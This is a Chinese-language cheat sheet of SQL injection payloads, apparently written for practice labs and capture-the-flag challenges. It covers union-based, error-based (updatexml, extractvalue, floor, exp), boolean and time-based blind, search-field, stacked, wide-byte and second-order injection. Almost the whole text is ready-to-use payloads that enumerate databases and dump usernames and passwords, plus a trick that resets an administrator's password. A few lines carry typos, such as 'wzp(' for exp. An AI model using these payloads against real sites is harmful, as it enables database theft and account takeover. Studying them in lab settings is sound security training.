SQL注入基础速通

发布于:2024-10-17 ⋅ 阅读:(6) ⋅ 点赞:(0)

<aside> 💡

SQL速通

</aside>

注入点类型(数字型,字符型)

数字型:1

字符型:’ 和 ‘’

**数字型:?id=1 and 1=1        ?id=1 and 1=2      
//报错为数字型

字符型:?id=1' and 1=1--+    ?id=1' and 1=2--+
//报错为字符型

单引号,双引号判断:?id=1'"--+ //出来是带'说明单引号,没有就是双引号**

找注入点

**SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 
3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 
4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名**

脱库

**1.暴库:?id=-1' union select 1,2,database() --+

2.暴表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

3.暴字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

4.暴数据:?id=-1' union select 1,2,group_concat(username,password) from 'users' --+**

<aside> 💡

注入点

</aside>

注入点接口类型

  • get注入
  • post注入
  • Referer注入:URL来源。
  • UA注入:客户端软件的名称、版本、操作系统、语言等详细信息。
  • Cookie注入
  • XFF注入:真实IP,代理IP,再代理IP。
**X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#**

<aside> 💡

注入姿势

</aside>

<aside> 💡

union注入

</aside>

**第一步:判断是否是注入点(前文已提及)

第二步:爆出字段(有多少列)

xxx' order by 3# 观察是否报错来判断有多少列

第三步:找出可回显字段,爆出数据库,版本

'union select 1,database(),version()#

第四步:爆出表名

'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3#

第五步:爆出列名

'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),3#显示列名

第六步:爆出数值

'union select 1,(select group_concat(列名) from 表名),3#

TIPS:如果#不行可尝试--+都是代表注释**

<aside> 💡

报错注入

</aside>

<aside> 💡

Mid()

</aside>

mid()

**MID 函数
作用:用于从文本字段中提取字符。
mid()函数语法如下
SELECT MID(column_name,start[,length]) FROM table_name

其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数**
**-1"/**/&&/**/updatexml(1,concat(0x7e,mid((select/**/group_concat(value)/**/from/**/Fl4g),20,32),0x7e),1)#

mid((select/**/group_concat(value)/**/from/**/Fl4g),1,31)

1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from flag ),32,31),0x7c)))#**

updatexml()函数

?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+  //可以单独database()
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+

?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+

extractvalue()函数

?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+ //数据库位置

?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+

?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) --+

floor()函数 //主键冲突

1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select concat(username,id,password) from users limit 1, 1),floor(rand(0)*2))x from information_schema.tables group by x)y) --+

exp()函数

id=1' or exp(~(select * from(select database())a)) or '
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

<aside> 💡

布尔盲注

</aside>

**?id=1' and (length(database()))>7 --+	
?id=1' and (length(database()))>8 --+**

<aside> 💡

时间盲注

</aside>

**?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)
//第一个数据库名有多少个字符

?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符
//判断第一个库第一个字符**

<aside> 💡

搜索型注入

</aside>

原理:模糊查询

**$sql = "select * from user where password like '%$pwd%' order by password";
--->
$pwd=ryan'and 1=1 and '%'='
--->
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";**

Paylaod

o%' and 1=1 #
**o%' and 1=2 #                    //判断注入点

o%' order by 3 #                 //查询字段数

o%' union select 1,database(),user() #
//暴所有库      o%' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) #
o%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' ) #
o%' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users' ) #
o%' union select id,username,password from users #**

<aside> 💡

堆叠注入

</aside>

原理:1. 目标未对";"号进行过滤 2. 目标中间层查询数据库信息时可同时执行多条sql语句

**//查看数据库
?id=1';show databases --+

//查看表格
?id=1';show tables --+

//查看列
?id=1';show columns from `1919810931114514` --+

//查看数据
?id=1';select flag from `1919810931114514` --+**

<aside> 💡

宽字节注入

</aside>

原理:对单引号进行转义

**//闭合语句
?id=1%df'  -- s

//判断注入点
?id=1%df' and 1=1 -- s
?id=1%df' and 1=2 -- s

//判断字段
?id=1%df' order by 3 -- s

//尝试联合查询,定位回显点
?id=-1%df' union select 1,2,3 -- s

//爆出当前用户
?id=-1%df' union select 1,user(),database() -- s

//查找所有的库名
?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata -- s

//查找所有的表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- 

//查找所有的字段名
//过滤了双引号,会报错
 ?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" -- s

//查数据得到flag
?id=-1%df' union select 1,group_concat(password),group_concat(username) from user -- a**

<aside> 💡

二次注入

</aside>

原理:登录后修改注入

**//$username存在注入点
//这里是登录之后,用户对密码的修改,形成任意修改
//在注册时将修改账户名为-----》admin'#
//修改管理员账号
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";**

Payload

**//输入框写入密码
//注册时名字为admin'#
//成功修改管理员账号

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";**